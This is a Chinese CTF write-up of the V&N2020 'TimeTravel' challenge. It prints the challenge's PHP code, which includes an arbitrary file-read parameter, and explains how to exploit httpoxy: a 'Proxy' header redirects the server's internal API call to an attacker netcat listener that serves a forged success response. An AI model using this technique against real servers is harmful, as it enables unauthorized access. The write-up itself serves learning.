[V&N2020 公开赛]TimeTravel

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
error_reporting(0); 
require __DIR__ . '/vendor/autoload.php'; 
use GuzzleHttp\Client; 
 
highlight_file(__FILE__); 
 
if(isset($_GET['flag'])) { 
    $client = new Client(); 
    $response = $client->get('http://127.0.0.1:5000/api/eligible');
    $content = $response->getBody();
    $data = json_decode($content, TRUE);
    if($data['success'] === true) {
      echo system('/readflag');
    }
}
 
if(isset($_GET['file'])) {
    highlight_file($_GET['file']);
}
 
if(isset($_GET['phpinfo'])) {
    phpinfo();
}

打开即源码,审计后发现如果传入变量flag,且其读取到了127.0.0.1:5000/api/eligible下的文件,success返回true即可返回flag。

考点就是httppoxy这个东西,这个规则会将header中的proxy参数设置冲环境变量HTTP_PROXY

开一台内网服务器,建立一个response返回文本

HTTP/1.1 200 OK
Server: nginx/1.14.2 
Date: Fri, 06 Mar 2020 18:27:31 GMT 
Content-Type: text/html; 
charset=UTF-8 Connection: 
Keep-alive Content-Length: 16 ​ 

{"success":true}

让其返回ture即可获得flag。监听端口并包含此文件

nc -lvp 8888 < b.txt

burp请求中包含proxy:ip:port即可

Proxy

在p3师傅博客中还发现了php返回json,本地复测没成功,可能是靶机没有php服务导致不能解析php文件。待定夺

发表评论

邮箱地址不会被公开。 必填项已用*标注